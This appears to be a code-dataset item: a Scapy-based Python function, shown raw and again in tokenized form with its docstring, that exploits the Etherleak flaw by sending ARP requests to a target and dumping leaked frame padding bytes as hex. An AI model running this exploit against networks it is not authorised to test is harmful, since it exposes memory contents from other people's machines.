def etherleak(target, **kargs):
    """Exploit Etherleak flaw"""
    return srp(Ether() / ARP(pdst=target),
               prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load),  # noqa: E501
               filter="arp", **kargs)
def etherleak ( target , ** kargs ) : return srp ( Ether ( ) / ARP ( pdst = target ) , prn = lambda s_r : conf . padding_layer in s_r [ 1 ] and hexstr ( s_r [ 1 ] [ conf . padding_layer ] . load ) , filter = "arp" , ** kargs )
Exploit Etherleak flaw